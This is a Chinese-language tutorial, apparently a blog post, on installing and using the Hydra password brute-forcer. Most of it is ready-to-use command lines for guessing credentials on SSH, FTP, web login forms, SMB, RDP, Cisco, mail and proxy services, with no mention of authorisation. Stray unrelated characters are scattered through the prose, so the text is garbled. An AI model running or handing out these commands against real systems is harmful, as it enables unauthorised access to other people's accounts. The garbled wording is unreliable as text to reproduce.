Hydra是一款爆破神器恋博,可以對多種服務(wù)的賬號和密碼進行爆破,包括Web登錄私恬、數(shù)據(jù)庫债沮、SSH、FTP等服務(wù)本鸣,支持Linux疫衩、Windows、Mac平臺安裝荣德,其中Kali Linux中自帶Hydra闷煤。
一、安裝方法如下:
wget --no-check-certificate https://www.thc.org/releases/hydra-8.1.tar.gz
tar zxvf hydra-8.1.tar.gz
cd hydra-8.1
./configure
make && make install
本次使用的是kali linux中自帶的hydra工具涮瞻,以及自帶的字典
二鲤拿、使用教程
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
-R 繼續(xù)從上一次進度接著破解。
-S 采用SSL鏈接饲宛。
-s PORT 可通過這個參數(shù)指定非默認端口皆愉。
-l LOGIN 指定破解的用戶,對特定用戶破解艇抠。
-L FILE 指定用戶名字典幕庐。
-p PASS 小寫,指定密碼破解家淤,少用异剥,一般是采用密碼字典。
-P FILE 大寫絮重,指定密碼字典冤寿。
-e ns 可選選項,n:空密碼試探青伤,s:使用指定用戶和密碼試探督怜。
-C FILE 使用冒號分割格式,例如“登錄名:密碼”來代替-L/-P參數(shù)狠角。
-M FILE 指定目標列表文件一行一條号杠。
-o FILE 指定結(jié)果輸出文件。
-f 在使用-M參數(shù)以后,找到第一對登錄名或者密碼的時候中止破解姨蟋。
-t TASKS 同時運行的線程數(shù)屉凯,默認為16。
-w TIME 設(shè)置最大超時的時間眼溶,單位秒悠砚,默認是30s。
-v / -V 顯示詳細過程堂飞。
server 目標ip
service 指定服務(wù)名灌旧,支持的服務(wù)和協(xié)議:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt
http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc
ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec
rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere
teamspeak sip vmauthd firebird ncp afp等等。
OPT 可選項
三绰筛、各種方法的使用示例
1节榜、破解ssh:
hydra -l 用戶名 -P 密碼字典 -t 線程 -vV -e ns ip ssh
hydra -l 用戶名 -P 密碼字典 -t 線程 -o save.log -vV ip ssh
2、破解ftp:
hydra ip ftp -l 用戶名 -P 密碼字典 -t 線程(默認16) -vV
hydra ip ftp -l 用戶名 -P 密碼字典 -e ns -vV
3别智、get方式提交,破解web登錄:
hydra -l 用戶名 -P 密碼字典 -t 線程 -vV -e ns ip http-get /admin/
hydra -l 用戶名 -P 密碼字典 -t 線程 -vV -e ns -f ip http-get /admin/index.php
4稼稿、post方式提交薄榛,破解web登錄:
hydra -l 用戶名 -P 密碼字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
hydra -t 3 -l admin -P pass.txt -o out.txt -f ip http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>"
(參數(shù)說明:-t同時線程數(shù)3,-l用戶名是admin让歼,字典pass.txt敞恋,保存為out.txt,-f 當(dāng)破解了一個密碼就停止谋右, ip目標ip硬猫,http-post-form表示破解是采用http的post方式提交的表單密碼破解,<title>中 的內(nèi)容是表示錯誤猜解的返回信息提示。)
5改执、破解https:
hydra -m /index.php -l muts -P pass.txt ip https
6啸蜜、破解teamspeak:
hydra -l 用戶名 -P 密碼字典 -s 端口號 -vV ip teamspeak
7、破解cisco:
hydra -P pass.txt ip cisco
hydra -m cloud -P pass.txt ip cisco-enable
8辈挂、破解smb:
hydra -l administrator -P pass.txt ip smb
9衬横、破解pop3:
hydra -l muts -P pass.txt my.pop3.mail pop3
10、破解rdp:
hydra ip rdp -l administrator -P pass.txt -V
11终蒂、破解http-proxy:
hydra -l admin -P pass.txt http-proxy://ip
12蜂林、破解imap:
hydra -L user.txt -p secret ip imap PLAIN
hydra -C defaults.txt -6 imap://[ip]:143/PLAIN
使用該工具時:注意指定用戶名(-l 用戶名)和指定用戶名字典(-L 用戶名字典)、指定密碼(-p 密碼)和指定密碼字典(-P 密碼字典)拇泣,這兩種情況下使用的參數(shù)不同
PS:一個強大的字典可以解決一切問題T胄稹!霉翔!